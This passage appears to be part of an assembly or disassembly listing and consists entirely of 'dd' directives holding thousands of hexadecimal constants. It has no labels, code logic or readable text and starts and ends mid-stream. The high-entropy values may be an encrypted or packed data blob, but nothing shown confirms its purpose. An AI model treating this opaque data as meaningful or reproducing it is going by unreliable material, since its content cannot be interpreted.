0EA1852D2h, 0B9E99B60h, 39B3B263h, 0C198A5F4h dd 28510613h, 0D7C3E151h, 1177390h, 7B88A7B9h, 0B1B70FA0h dd 1E7991EFh, 0B128285Fh, 306A750Fh, 3048DAC7h, 1527747Dh dd 8D35A11Ah, 0C3E73B41h, 82AC7C2h, 0A0022C3Fh, 45BE5A44h dd 0A9192A8Dh, 4102924Ah, 0F5D941B5h, 269F29C0h, 16407848h dd 69FE13DDh, 22F10011h, 3D4C197Dh, 507C0622h, 8182AEFh dd 1BBF137Ah, 0E83FE20Eh, 5F37021Ah, 507577ACh, 3D4E9EF3h dd 0C6A9C15Bh, 1903BFFFh, 291CDBD2h, 3A21E32Ah, 0B316E037h dd 70C380A6h, 3C9690BDh, 0EE05E628h, 5AE95863h, 2EC23CB1h dd 1EB42F5h, 66227DEBh, 0F1EB4A20h, 5D0886CAh, 2F8B051Eh dd 0FA592794h, 7313DCCAh, 8AD98110h, 33352A33h, 8B663CBEh dd 0FAE91C5Fh, 0EEF3ABA4h, 0B258567Ch, 5EBAE90Eh, 0E4DB2D1Ch dd 0C1AF5C64h, 24A768CAh, 9030E9C1h, 43ED6D6Bh, 473D300Ch dd 0E0099D0Ch, 4E90E17h, 0B8AD334Ah, 6F2C5103h, 0DFEEB154h dd 1648CDC0h, 949232E9h, 9914C0B7h, 6890AE2Ch, 77D0704Bh dd 1CF62FB9h, 0C4F7816Dh, 0BA1FC610h, 4DC0E5C1h, 20B27EDAh dd 33F717B3h, 4F71066Ch, 0E1045925h, 49A0683Ch, 9EA3DDD8h dd 0BA8FC233h, 5C825604h, 98B39641h, 0DA165CE2h, 4E8568C2h dd 0B6347Fh, 0ECBA5251h, 0B93D1175h, 0F1178270h, 95BCE93Ah dd 81E4F98Eh, 0B4CD1212h, 2E89293Bh, 31812874h, 0C0072EFBh dd 0FE6ED4E6h, 0F6004676h, 43262F69h, 20E9F129h, 0C097BF63h dd 0BDEE89FCh, 0C61F01FBh, 42173670h, 56062644h, 5B4B1B98h dd 97409EF8h, 49B0B85Ah, 0F8F14BE0h, 465DCFCBh, 0E14C92Bh dd 757EE1BBh, 23694B4Fh, 58B72560h, 80FE882Dh, 0B1515FCAh dd 87E92DA1h, 5EFACA0h, 0D5FA872h, 84101A9h, 39CC823Eh dd 0B5519080h, 0DD72F6E7h, 0C580D517h, 6ED7707h, 8849606Eh dd 20E959E8h, 0B90F6313h, 0AEC856E1h, 12AEA181h, 0C8601764h dd 5840EC9Ch, 74407B01h, 0A4730CF1h, 22F480D4h, 55F81017h dd 8069BE5h, 0A8FD5560h, 6B20816Fh, 0AA1D1466h, 36534ECFh dd 19C6DE0Ch, 3D6E07EEh, 6D2930F4h, 1C08065Eh, 482CB47Bh dd 82123815h, 62BD21FBh, 0CD60247Bh, 7568AA09h, 9FBED172h dd 5CF4298h, 0FAE1DFF6h, 779BE304h, 2818C7D8h, 0C0E5FD5Fh dd 0CDFEF411h, 0B102FC20h, 500F89CBh, 8289681Ah, 3480A942h dd 0CCE7A58h, 6492F9F0h, 3219121Fh, 79DEF281h, 2D30383Ah dd 0AB0F1626h, 291CC102h, 6FDA41D1h, 7C8B34E7h, 75CB78B7h dd 0C28CBCF7h, 21052E0Dh, 0D84A5DECh, 5D5B5494h, 4DE93E3Ch dd 68175AF4h, 0D33BEC58h, 2306E301h, 0F5405E84h, 9ECB39BBh dd 8C98F55h, 0D2112587h, 0E65DB7BCh, 0F1102595h, 255FD692h dd 9DA14143h, 4FFE8A2Ah, 0DEE2F7A0h, 2F5922E7h, 0D7F71796h dd 0EC274AB9h, 0C35CE605h, 1EC902F6h, 4FF73F8Dh, 246E125Ah dd 18E083B7h, 0D83A4289h, 521672F3h, 0C201A004h, 71BF77F7h dd 39F8D630h, 0EF4E577Eh, 4C08EE10h, 3E8E04B4h, 0D1EE25F1h dd 24755CAh, 9DFC45Fh, 69123759h, 0BE563900h, 4D0964E3h dd 84E6D11Eh, 8AE2C625h, 3B2F417Fh, 2EBA1F0h, 646DF1EEh dd 3240D809h, 0EBBF01E8h, 0F07DBA13h, 0B25DF689h, 0C0E914ABh dd 0B1057B60h, 0BE1BD833h, 6181900Eh, 28D43EE2h, 2CE3EC70h dd 0B0F926Eh, 86221FADh, 0CBDB040Fh, 0E8C6E945h, 665B4C2Ah dd 6653807h, 0D574C363h, 81EC225Eh, 0A708DDA1h, 2163E832h dd 17AD9983h, 0AF6B8578h, 0E0213F64h, 405C803h, 90091C75h dd 4C21EF9Ah, 5462312Ch, 54DA4202h, 0D80DDE1h, 0F679FE05h dd 0D9042175h, 8981266Ch, 0C4019984h, 3F3C0819h, 0CE440660h dd 0B7E5CEE7h, 17491CFBh, 0E290374Eh, 0E455849Fh, 7D489F71h dd 5E82F237h, 3B5C5184h, 0A8960CECh, 0A381740h, 4DA097CCh dd 3F7EB53Ah, 0E56303ACh, 3607D648h, 55460D05h, 2BDC092Bh dd 960C583h, 0C77F5450h, 12E9865Dh, 0D03B18EFh, 2002ADE2h dd 295BDF31h, 16C8A4FEh, 0A9012123h, 0D8EAD25Dh, 0E67288AEh dd 5A5AF725h, 409E90CEh, 6EFF5971h, 2F3F43A1h, 3DE90BECh dd 6C98E90Dh, 0E167A407h, 645DC2DEh, 5F34AEAh, 0AD02898h dd 8E98A792h, 31A7E7C1h, 8F926CFh, 7DD2FABDh, 0DAAF53E9h dd 0F1602F78h, 0CE776D7Ah, 26351F7Ah, 51044822h, 0BD00170Ah dd 7ECA0749h, 0EB52E397h, 89EFFDD8h, 38693000h, 7F22AD0h dd 29046964h, 42B045B5h, 169A09B8h, 995A035Eh, 5BF22AD0h dd 0F7F97D49h, 2C1DFB0h, 62EA5C9Dh, 0C4648D05h, 1D927C0Ch dd 12A60C94h, 0E868D027h, 67E400BEh, 0EEE92271h, 0EC67B24Dh dd 0ED784FC3h, 0D0E38B93h, 52AF9C0Ch, 0F7138105h, 0F5054B3Ch dd 0DD2118F1h, 4FC1A5F0h, 0E2C7C73Bh, 0AE9AD8B8h, 6BAF525Fh dd 0A55C6BAEh, 42E1F140h, 48396091h, 654462F3h, 0E2CF2924h dd 597F0820h, 5B63ED05h, 50BF2326h, 605A08ACh, 1393E94Eh dd 0A27C014Ah, 0F4316E9h, 7771AE01h, 0A6232C27h, 11862D78h dd 0B19BC290h, 59A22C83h, 2D524258h, 85A6801h, 385AA62Bh dd 0FE3251F6h, 3B60E741h, 0D304E0EDh, 0AB475605h, 612BF0F1h dd 7FC58DC3h, 72FC346h, 3BFE95AEh, 60BBEB13h, 0EFFFE939h dd 24DF67B7h, 0F3414654h, 5AD53102h, 875DEF29h, 5659E2E6h dd 0AE53E5A6h, 40E95030h, 0F33CD614h, 1568828Ch, 2AE90274h dd 6FABD15Fh, 452249A6h, 2570C106h, 0B0C2DCCh, 3BA349Eh dd 8A095DCh, 6F597995h, 8E6D5D6Ah, 103BB4E9h, 0E52876A0h dd 6B526398h, 9E391B9Bh dd 9F1A382Fh, 0EA9C5CC0h, 5FCF12CBh, 1A89F57Bh, 864AB897h dd 68508113h, 9D805AD0h, 5F9D6D34h, 2902CC42h, 2CAA0C4Eh dd 940CF18Ah, 0FE276012h, 86B413D0h, 5D50AA8Eh, 0F26B12C9h dd 5267D921h, 0EE8B8178h, 8220AA00h, 70909E2Ch, 2245C10Bh dd 9228D71Bh, 0C8F42D08h, 959F0D58h, 0D40B0645h, 30B89821h dd 705B7FDEh, 2CF03A59h, 0AE148B13h, 1B55827Dh, 0E9CFC6B8h dd 0F76FAE8Ch, 4F416E1Ah, 7E07FF2h, 0F8BF23A9h, 0BB4516E7h dd 1037166Dh, 664C0873h, 78D668B0h, 0F36741B6h, 0A371FDA2h dd 535B580Ah, 0BB277AF8h, 49F38D20h, 0D1F08225h, 5D4BEB7Dh dd 0DD4F0CACh, 0DA35F465h, 2E0FD5A4h, 65653921h, 0FD52361Fh dd 5FA23306h, 24957D24h, 806C33AFh, 0AC5371F6h, 0F6952167h dd 0F8F92D5Ch, 43AF7CBh, 46204F86h, 3496B803h, 0D1252F0Ch dd 5D82E24h, 1B7600E7h, 689B2D58h, 0C3BD3FF9h, 347CE895h dd 0EE6F5D47h, 0EC20D14Ah, 0B5972811h, 0F8D67DFCh, 4C08D265h dd 7D7E251Eh, 8A444CAFh, 5A26F861h, 0BCAF16C7h, 8CEEB4C5h dd 0EE4C0151h, 4E9159CAh, 972DC1ECh, 32BDE705h, 0A07DF2BAh dd 3FB1BEEEh, 431E4AFh, 12685EF5h, 0BF02CC17h, 4BEE4C04h dd 0A3E031F8h, 0E86595EAh, 6865E98Bh, 1717E392h, 0FC471241h dd 81E0B5Ch, 0F30055CFh, 574A022Dh, 0CC054207h, 0C2FB5622h dd 680701B0h, 667E4759h, 0F8953389h, 0BB5A792h, 4E54F1C6h dd 0AF435FC2h, 1F6C0422h, 55256DF2h, 5D1653E5h, 10E24A80h dd 25F5B81Ah, 5FFBD476h, 60D6C291h, 63568CFh, 8774D128h dd 96C26944h, 0AEB04426h, 24F5EF40h, 0B51FD636h, 2358A2C1h dd 0E7881773h, 0E2EEEA5Eh, 382112BFh, 3078C3F2h, 8010E17Dh dd 0F4E6F6E4h, 0E56B8C70h, 4C72039Fh, 0A9771098h, 0E83012ECh dd 54910EBBh, 9250DF1Ch, 16F4C504h, 0A01E0405h, 0CB15C041h dd 0D402C8CCh, 74E9F031h, 82205403h, 16396D35h, 6306815Fh dd 0F02F0F22h, 0F9498725h, 92DF3B3Ch, 0F6DD8146h, 12973A20h dd 4816DB0Eh, 73AFB356h, 49CE1FA1h, 725CD2C9h, 44150B8Bh dd 0FCA4BDE3h, 3BBBF955h, 0F58C98FEh, 14ADBBE6h, 0E75FB67Bh dd 1652B31Dh, 0FF958455h, 54438682h, 0D70D02EDh, 5F8F5A0h dd 2735554Ch, 79AB0B16h, 13688585h, 7CE367h, 0B822DDEh dd 54E9D2F7h, 4C59C630h, 0E9B0A555h, 1411EB5h, 402F3730h dd 0F412B871h, 0C34063BEh, 2293D93h, 0EB7C27E9h, 3B90AD7Ah dd 0D0978F75h, 0F74AF23Dh, 50FAB07Ah, 3A362C5Eh, 41DEF8ABh dd 0AD5C7FBDh, 181394EEh, 9FC42FADh, 685500EBh, 4F2D0FD9h dd 0D83C0130h, 30EFD101h, 0A09F1EC2h, 2C32C3B2h, 8F0833B1h dd 41407FD4h, 231222B2h, 20FF3605h, 287B6898h, 0D503239Bh dd 0E95D5A17h, 303B7D67h, 0F55B3117h, 82E24D4Eh, 405715C0h dd 0FA0A0D3Ah, 8905DC1Ch, 0EC01743Fh, 935CB24h, 0A14058C5h dd 126A7C1Dh, 0D1F52942h, 1F8FECh, 5FAB850Fh, 4B90B736h dd 0DCD438B9h, 3509C820h, 8F64D34Ch, 27DA7C0Ah, 0EAF35F2Ah dd 44AA5893h, 0A8CE4255h, 0D5EBA237h, 65CA905h, 0E5A0404Ah dd 185AD73Ch, 0D110E054h, 48C172EEh, 0AE0EC004h, 0AE56478Ah dd 0F59EA61Ah, 0F67E0CB9h, 0CDA27166h, 5C686601h, 3EA44D2Ah dd 25B7BF01h, 13142ECDh, 0A45AB807h, 3A2B5BAh, 5312BB87h dd 5E3262Bh, 0EE126004h, 0A5008001h, 47775E43h, 4C44629Ch dd 0F24B69B8h, 748E8BF9h, 1CDD278Fh, 841CA5Bh, 0D2F3AD93h dd 4D32D939h, 0AAAD5FA3h, 4F06AAA4h, 9712E3F7h, 0C9695680h dd 23B21DFBh, 17685B09h, 26EB306Fh, 7B03E48h, 84DFF3A6h dd 7A3FDE9h, 172C609h, 141957B5h, 7D09EAFCh, 0BA526280h dd 672725AFh, 80CCFE36h, 605B012Ch, 284EB8E9h, 548B5D25h dd 3BC65324h, 1C032802h, 5A7036E9h, 646F0EB4h, 8DB8630Dh dd 8BEB1FE4h, 0B5C1B216h, 555427h, 7360CBFAh, 68124731h dd 0B460063Eh, 0B8F7776Dh, 0D240BD6Bh, 50CA5BD9h, 0D6E9CE02h dd 0F8F652B1h, 783EF625h, 2562ADE9h, 0C03BEB9Fh, 0B050958h dd 76F40B61h, 7DF88D5h, 7C25BA24h, 0FDE9F919h, 0E03441EFh dd 0A8F03F62h, 39BABCE6h, 2E98D7BBh, 6BA0E24h, 420F3517h dd 3EF2E4B4h, 2B2D25F7h, 72B71850h, 1923090Dh, 70C62AB2h dd 29F5449Fh, 0AC98394Eh, 0BA9213B1h, 53653F35h, 49468EEBh dd 0F1512F13h, 0A77F258Fh, 23A91A46h, 3F5A76B3h, 1A9C5E7h dd 0F5442FE0h, 0B847F9F7h, 0F75B25BEh, 0CE680C18h, 0F3AD544Eh dd 0DAC0793h, 0EA33452Dh, 64D4DC4Fh, 588538B4h, 31173981h dd 0A2726078h, 0A02360E6h, 0D8AF581Ah, 4A12EE0Bh, 0CB826109h dd 0EFF5564Fh, 9DFC2FDAh, 2DE86E88h, 0BBBE62F3h, 0DC44E9CBh dd 468C2436h, 0BE00F345h, 18D443CBh, 756C5BBh, 0F3313C0Fh dd 0D1B6AFE9h, 6FEF240Bh, 96013FF3h, 210AEE52h, 30E259FBh dd 606F45Dh, 0DA095AE5h, 6FEA413Ah, 4F8050C5h, 3FA01B75h dd 22A5457Bh, 9EB95EC0h, 0D44F082Fh, 0FB620194h, 2B89E2B0h dd 0FF68CAD8h, 20D9A4DEh, 2959F090h, 5BBCA0DEh, 19172522h dd 48C98CD0h, 0B4BC401h, 1BEAFC9Ah, 39DB77A2h, 0CFFF9EE4h dd 0C8DDF1D0h, 823C0196h, 0B87EC2F6h, 0A5DA5F6Ch, 53E02204h dd 0B4B80579h, 8BD70696h, 0BD014C37h, 2D0C5059h, 0B93ED5F7h dd 61F04A21h, 0C5C5B75Dh, 696F2427h, 0EC2E6A4h, 2A6717ECh dd 345FEAC0h, 68120AB0h, 89611C5Dh, 2D2B29E7h, 17CA6FA6h dd 1E0A214Fh, 68D73EFFh, 1EFCD775h, 0C0AAB700h, 0F78003EFh dd 0EC86C94Eh, 9912DD06h, 2B0618AEh, 0A2EB95C4h, 0DC80CE61h dd 0D51093AEh, 7FA6E04Ah, 0A31B14Bh, 373B20EFh, 651301BBh dd 96A46B58h, 0D75B1725h, 0ED2F0005h, 215DE552h, 0E91BC8B0h dd 0DA3CCCBCh, 80C94150h, 76D0DF52h, 0D60500A7h, 29A93127h dd 4D8F7BF3h, 0EA040643h, 0C2D92DFEh, 0A388CAFCh, 64591908h dd 0C729813Eh, 61B06812h, 7F86CA2Ah, 10B5EF1Fh, 4B0C2558h dd 27C02767h, 502C1574h, 9BCD5258h, 9E5F27F1h, 0D6E92ADEh dd 0EE8097D1h, 30E473FBh, 5DD20CC1h, 452F39C4h, 0B958C606h dd 5DEEE10Dh, 0AA4B5F32h, 2DE9DB7Ch, 0E77BF6B5h, 6854D50Ah dd 0E605F7C9h, 0B8FDC253h, 6229AA68h, 7A1919B7h, 0BB048C68h dd 0AE4854BAh, 4B0990Eh, 41AB4CF9h, 9B984DD8h, 38C12AE3h dd 6D81214Ah, 363E3DCEh, 39012E45h, 52743C3Bh, 4D6A7061h dd 3E82E9A0h, 578E8BB9h, 0E8095FE9h, 2BBC1245h, 471367AAh dd 0E9E90716h, 370CC702h, 6658657Ah, 7C9F3298h, 0B7795A62h dd 7CE58B9Dh, 4CFFDACFh, 74E9177Ah, 0DEB7CC96h, 0C724405Ch dd 0FEA3CA09h, 0B51402F7h, 0EAF5804Bh, 3E088DE1h, 7DFE8932h dd 59C6EC8Bh, 0F207769Dh, 4492BDCh, 0EF125262h, 47679805h dd 0D6C18F52h, 6AF51F3Bh, 40988373h, 0D4126312h, 24EB010Dh dd 6D0A1061h, 0DD42C227h, 0AAEDD0Fh, 0F50067C9h, 2C3C0DE4h dd 0C4074590h, 0E91E4B2Ah, 1F24750Bh, 912DABCEh, 71AE3A82h dd 0C05D6EAFh, 0E47E4F06h, 0B139047h, 548CD40Fh, 11CC27Eh dd 51C580FDh, 0E973D327h, 0AA7B4A9Dh, 0F77F662Dh, 7C688469h dd 0E87556BAh, 0F7E9E086h, 2ABF80B8h, 56A57A1Eh, 4EF83B9Ch dd 0FFF42DEFh, 8371E2C2h, 2FEF133Ch, 0BD961AEh, 0EFDC2B4Ah dd 87EEB787h, 6C85354h, 384B737Fh, 4B073E10h, 0C17FF68Ah dd 0DE57F8EEh, 0E58E7E37h, 0E21DD912h, 588A848Ch, 0DD27B641h dd 51F5C4Eh, 8C165704h dd 0F487935Dh, 92CC203Fh, 49E90260h, 510E32EEh, 0EC4FDD88h dd 526AC045h, 7AC3FFFBh, 0FCC9B513h, 971289E0h, 0A0546212h dd 1A9C8216h, 5F8890C6h, 0E09BFCEBh, 255380B9h, 0BD924C52h dd 91D3F429h, 830B042Ch, 599C75C6h, 96402190h, 6B93A045h dd 0FA3BC489h, 9D6A85Bh, 0D65E8D68h, 58546294h, 7ACC84Dh dd 9E32B42h, 790C6700h, 73B27557h, 69D72D0Bh, 0A4820673h dd 0D50CC473h, 1A6800C7h, 0F437E361h, 1510628Dh, 0BCC2175h dd 59EA537Ah, 0E99B0297h, 955DD055h, 7C7A99D6h, 0F6452519h dd 749055A7h, 48BDEC53h, 999DF010h, 6C6841B0h, 81A23944h dd 600228E5h, 0C2B3BD7Ch, 0B97AD1AAh, 0BAA1E918h, 0E091EB55h dd 1032F58h, 0F45A71D6h, 0AFD7C5D7h, 0D2687830h, 0F82FE12Ah dd 9C05E2A7h, 35CDB7CBh, 0B510DF2Ch, 75CEF04Fh, 804E075Ch dd 0C23EF005h, 30A5B432h, 0B7D12BAh, 0CA29193Ch, 4E7D2EAFh dd 71070216h, 0EEC15310h, 987DD5F7h, 0BA360105h, 0A745BE2Ah dd 0CBD12304h, 35600BEBh, 6B299CC0h, 0E1858B75h, 5CD95BBFh dd 909AF2Ch, 4FC1C4Fh, 301F858Bh, 82036AE4h, 5D77295Dh dd 6B5E6703h, 357E4258h, 0E3A80D5Ah, 71F06809h, 2B96B859h dd 0B7AE7EC4h, 5B12607Fh, 3142Eh, 70331C25h, 18FCE955h dd 0E37BBDh, 0F685756h, 75312517h, 7B36785Fh, 26E926F0h dd 4056D36Fh, 91CCB46Ch, 5DEF2116h, 8FF84321h, 315494AFh dd 4AACE9D8h, 725188A2h, 0D3885A80h, 0C06512ACh, 84686677h dd 8AEB5358h, 321C9530h, 0E91306E8h, 68EA14E1h, 0E14194D4h dd 8B3ABFE1h, 525100F5h, 88501BB2h, 0C5C5E4D0h, 64A11280h dd 5E5685CDh, 9F153BCh, 777596Bh, 0D9EB2CA4h, 0C4ED1F83h dd 0BE308435h, 0D9FD9BF1h, 0E6D79F22h, 92F24EF0h, 0FFAF3D34h dd 238CB404h, 0C9DE9AADh, 457FEF5Ah, 16F24FAFh, 965CA8B6h dd 0FDDB7D0Dh, 0B85BBF3Ch, 770317D9h, 88F0A352h, 7B818297h dd 0EEF5733Fh, 0CE9EFEC0h, 171CC95Ch, 0A0342C85h, 5C134FC2h dd 0F8FA655Ah, 0A2B75F95h, 0D186A24Eh, 685507B0h, 657546E4h dd 539AC482h, 0CC5F1ED4h, 421653B7h, 2A9E97ECh, 34B5FA3Eh dd 44E938A5h, 7E6C8ECEh, 114B092Ch, 0EACBAB9Fh, 71320255h dd 0F45B04A2h, 8909E2AFh, 0D6428A7Ch, 78108060h, 0A2E9FEFBh dd 0A492B35Fh, 3B177CBEh, 7997B900h, 0C9815076h, 697214E0h dd 520B8590h, 8043900Bh, 6EE9519h, 63A8A136h, 0E25F7079h dd 0E03812CAh, 2F928CBBh, 985113CAh, 8C387702h, 4D40FF16h dd 7B010331h, 0E9DD29A7h, 0CF6E9AB1h, 1D8D3143h, 6530E3C0h dd 0EA0B9798h, 0F912FC7Bh, 3D4BAEA8h, 705239A8h, 2116389Ch dd 1AC41EECh, 0C7810051h, 5B2D4F98h, 7642BC6Fh, 5612F7F4h dd 0B404BB1Ch, 27AB883Fh, 461082DEh, 84B85D04h, 528ED39Eh dd 2468EA52h, 0F3E34F68h, 30C3409Ah, 1725F16h, 0F76140BAh dd 6335771h, 12058CCCh, 777E7CC6h, 50A401A8h, 0F829182Fh dd 5F07432Dh, 0B70236E8h, 7DCA1D48h, 0E6E007A3h, 4006D676h dd 3F59E953h, 83F3977Eh, 142FD3A4h, 0E1D09703h, 5B30CBA4h dd 9FC2DFA9h, 16692C33h, 13D110C5h, 0C801515Eh, 30E54C5h dd 81DD6622h, 887502E7h, 84E17F4Eh, 1F86B27Fh, 60AD0853h dd 9632FA4Eh, 44756284h, 0FE0FD509h, 0E9012244h, 977D1754h dd 93B737EFh, 6F0359E7h, 342547E3h, 43F3B07Dh, 254DEC01h dd 3A56F7E9h, 0D0B2DE2Fh, 0A8B98FB7h, 3EF2A03Ah, 0AA97C128h dd 0ED06A452h, 9B0B307Bh, 8D5012Fh, 0E9040834h, 0ED465DBh dd 1CEEC185h, 4F294BCFh, 6B685668h, 12AF68B5h, 6041B40Bh dd 151D13D4h, 3E3749BDh, 29B5097Ah, 0FC18E055h, 6DBC213Ch dd 0E9340820h, 0FB81CFCFh, 84C35573h, 0FC4E58E3h, 0FA487371h dd 7E0C9484h, 0BBBEE7C0h, 910B4767h, 0BD55806Ch, 0FEE7D61h dd 0D9D7294Ah, 0AC6AFD59h, 10590F09h, 0FF709E62h, 681718C6h dd 0B0B60D9Dh, 5B31C458h, 2DA61631h, 3DED07EBh, 74B219C9h dd 0A23AFEFh, 25388FD1h, 0ED8D745Ch, 0A4CA2C64h, 930C682h dd 0A738E55Dh, 235A0952h, 7E5DAE0Bh, 0AB2FBDC1h, 97D1F785h dd 5251163h, 80B27567h, 23CF3F12h, 0B0F301FBh, 0F2D85FF4h dd 0B35C0BC3h, 4FFF64Ch, 0C701C783h, 7174702Eh, 0E8ED4D21h dd 0D52D2B37h, 453989F7h, 605B8254h, 22FF268Bh, 0CBB621ACh dd 0BEA23E91h, 6808750h, 0EB2823EDh, 7A790C59h, 37AAC538h dd 505110DDh, 0F4F8BAB4h, 0DCF63D6Bh, 6CFCC98h, 932DE9DFh dd 26171F0h, 4F333F97h, 0F4D0EB96h, 7E59270Fh, 0FFF99377h dd 1216348Bh, 0E4BC6225h, 0BEA5A8AFh, 0B8D26119h, 0A41B884Bh dd 273D3D2Ch, 3878CD5Ah, 7717444h, 3076C43Ch, 48E1044h dd 975BE451h, 0C7179451h, 15BBB946h, 0EB3EC6D0h, 430B03FFh dd 2390AFE9h, 0C1CBFED1h, 747F31F3h, 98E3AE1Ah, 0BE1B6890h dd 0FE0B351Ch, 122957A3h, 497EC5E6h, 0FC00E1FEh, 0E9080E10h dd 4D916EFDh, 59180CC1h, 42662B23h, 30D80B30h, 504415B8h dd 0B2142A02h, 74DAE932h, 8FF42530h, 600AD352h, 6FF5E9EBh dd 1B0913B9h, 1623ABE4h, 368148Ah, 0BCD3E919h, 0A0B85F41h dd 60B829F5h, 11033403h, 55E9637Bh, 0D18318C5h, 566BF65Ah dd 4918221Fh, 87E653CCh, 5E0DB201h, 38233255h, 8CA0FC4Ch dd 5182C280h, 5AD089FAh, 8E9F322h, 0DC272C44h, 7BDAFADBh dd 2F14B0F1h, 14A1BA52h, 605AD629h, 31804300h, 837097F5h dd 4E5D03F4h, 4FE0204Eh, 87D681CDh, 11A22B2Ch, 0DF75E496h dd 1645D14Bh, 0D6167972h, 4B9EECBDh, 87D6E16Eh, 7E8AF173h dd 436DA149h, 0F97EA15Ah, 25006FA6h, 0BF7357BDh, 0CD81384Bh dd 40373E0Bh, 696F7B02h, 4F57CEF7h, 25A5CB12h, 941CFD24h dd 0F305CBD3h, 175669C2h, 2063E508h, 7CE22FC2h, 68E8AF7Eh dd 56D69151h, 79064FA8h, 0EB048FE5h, 20545C39h, 12AFC6AEh dd 782560EEh, 0E04501Eh, 11BB57Dh, 80D1CDAh, 0C514041Ch dd 4C6AECE3h, 0D9E64177h, 2E842F1h, 0D2840F00h, 49C99683h dd 627F7480h, 3144304Eh, 0CE8259E9h, 5B69BA01h, 294A0FD7h dd 0C2CA02BAh, 7F681C74h, 0B83DA102h, 4F84963h, 0DE5B6FAEh dd 5B050AFCh, 0FEE9F831h, 0F2809AD0h, 0DAF607BFh, 8E02EAC0h dd 0CA66556Fh, 0E9700C4Eh, 841CD048h, 0EA12E836h, 0C4FD41C3h dd 863497AFh, 5F5A1CECh, 0E97369A2h, 90ADF37Ah, 46E9C2E5h dd 0BCF5799Eh, 9F567198h, 60F968E2h, 0B6F8FF16h, 10183749h dd 301FDA42h, 0BDC112D8h, 72E603A9h, 458DC6Bh, 230E4C0Ch dd 2F228032h, 5C28B428h, 60BFC109h, 4C485022h, 0BC2538A3h dd 0F9A61AF1h, 0BA4BF701h, 366A4637h, 5E5F2030h, 3DB992C4h dd 1DAF9C80h, 3B2DE997h, 0EB9C98AEh, 4FDF99E0h, 0C91E137Fh dd 0F5A2E05Dh, 8F80C9B7h, 350F047Ch, 0B0D321F3h, 2C1E47B4h dd 0C909101Dh, 950AC4B1h, 73465FBh, 0F0AF0E81h, 6A6E6800h dd 8C73D3B5h, 1E1FDC71h, 9CE86941h, 2ABB143h, 0C0211438h dd 98AF72D5h, 7BD34D98h, 3B08EA86h, 271DF49h, 0D44738BEh dd 8151563Eh, 511CDEEEh, 7A26EFBh, 0BD2BE44Fh, 0BE067B92h dd 0E1A155Eh, 338E0A30h, 2E10951h, 17B237D1h, 21D4D880h dd 2D000480h, 55F754BEh, 2A68F001h, 956F5726h, 0AE9A39C4h dd 5C83101h, 347E7B36h, 402A62F1h, 6E48EF19h, 0FF682F3h dd 0EB179063h, 0C022E27Bh, 9723A10Ah, 89FBC012h, 5721CF12h dd 0AE047434h, 40F32AC8h dd 449E5DD8h, 5AE06AC2h, 0FC014AC5h, 25AB0786h, 0D2F21A67h dd 0F3852FFh, 2C9F3370h, 259BB64h, 0CC0DDB68h, 534A019Ah dd 0BAE98548h, 0E2BF81E6h, 74D81B1Eh, 13F41921h, 1CC134Eh dd 2F70AADAh, 16275A91h, 1D3294Dh, 0D17CD7E5h, 6ACFF833h dd 7092042Fh, 25DDE839h, 38421953h, 90F39D80h, 111887CDh dd 6859D801h, 0E75C6716h, 56252843h, 0E5C10087h, 14C58105h dd 2898A01Fh, 5CEB7AD7h, 12B2258h, 888896C8h, 295E03FBh dd 7CC957D9h, 0F6E781D5h, 0D64047Ah, 0C1849C20h, 2FE5C217h dd 4677C2EBh, 0DB690981h, 3F5C8B64h, 1401825h, 555201F8h dd 36563D68h, 0AD9B2008h, 0C4E41B4Eh, 7C0C1306h, 4412C7D7h dd 50590086h, 757B252h, 0D428C4B4h, 0E2CC7C5Ah, 59B584Ch dd 0D24E915h, 40DA77E8h, 0E4B80655h, 906EB80Bh, 7D2973F8h dd 1ED1255Fh, 1E745524h, 5E986389h, 66577230h, 0D7BA25E1h dd 55E9AAD6h, 0A4C1426Ah, 52499330h, 0B665A703h, 58E6D1ABh dd 37DF61E6h, 0B5BD772Bh, 3F41BC29h, 0E610AF68h, 885E0EC0h dd 13765BFAh, 0B2AA2C2Bh, 2F23CB58h, 3B31D01Ch, 0A9F6083Bh dd 82700250h, 832ABE22h, 0B316CCEh, 60E9C193h, 0BDD087E6h dd 64E02EB7h, 0D2B3F581h, 0C588AE0Dh, 75EF5F42h, 0AF8BAFB6h dd 0FF28885Bh, 5703B9Ah, 2D123412h, 7E83F1Ch, 591C9FF0h dd 0F6E76A41h, 8F056046h, 34610D77h, 2E5FE930h, 7C61CA2Eh dd 4E60CC2Eh, 0F97D412Fh, 0FC2EC16Ah, 0D92EA695h, 3A080716h dd 0C3890770h, 53D83350h, 0EF00C4Eh, 625DE558h, 160C8F20h dd 0BA89C5E7h, 70ED1809h, 0FCF29DDDh, 4809071h, 0DE0C0218h dd 6B2C2E34h, 2829D3D8h, 4344C2E8h, 0F289DDD1h, 5B75F432h dd 258446Bh, 77D6C330h, 0C31315A6h, 300057FFh, 1ECD4287h dd 0E9DF1689h, 0B30740F8h, 5BD98858h, 0E8B0F6C9h, 0C0A66D02h dd 2B91E1C7h, 0C1EC3AF8h, 114102Ch, 67CE8314h, 0B1B06112h dd 97CA0196h, 5D69F4F6h, 0F7270647h, 0D634F810h, 220FF682h dd 7084C567h, 0CF41ABFAh, 44734F46h, 0D042FA30h, 9C04F80Dh dd 0FC0FED65h, 62104F12h, 0B5E9090Ah, 4A285CCBh, 51C5074Bh dd 5D1F28FCh, 0E956CB01h, 0EF814E64h, 0BDB470EDh, 0C3B02E34h dd 298F1535h, 5558F844h, 4804CB01h, 2A4B41D0h, 0CFAD3190h dd 31D50E49h, 8D4BE9C3h, 1A68FEA9h, 0F7B15729h, 0A3685A02h dd 0A56C5735h, 0A1D9F02Fh, 77073123h, 60D7CD30h, 0B9E399F5h dd 1A4C411Dh, 30380476h, 81C50B23h, 0BF5C6FB0h, 162EEC4Ch dd 0C794CB5Fh, 83F726EBh, 4828A53Ah, 4F7DE966h, 2DD54195h dd 304B761Eh, 4302F7FEh, 0AE97CE6h, 8959017Bh, 0A5EA2CD5h dd 0CD0741AEh, 20260368h, 21B2ED06h, 0AD35F305h, 60AB31EBh dd 0A9E5E9D0h, 0B988A694h, 9A680520h, 0D6CAED22h, 15EBC490h dd 4F3E251Eh, 2960F774h, 67C4E9FEh, 21ECEB92h, 22E3205Ah dd 7EC0CFC7h, 0D6C38084h, 406D44A0h, 92BE6637h, 70B4A16h dd 0F783FFFFh, 6BAC0D2h, 30F58860h, 882559F4h, 950670D1h dd 3EFABE16h, 0CBD750F5h, 623D5257h, 0B3B9B120h, 0EF40D529h dd 61020F74h, 0E95A104Eh, 44847FECh, 0A14A6CBBh, 22EAD44Fh dd 49752BEEh, 2C7FF8EEh, 0C141C94Ch, 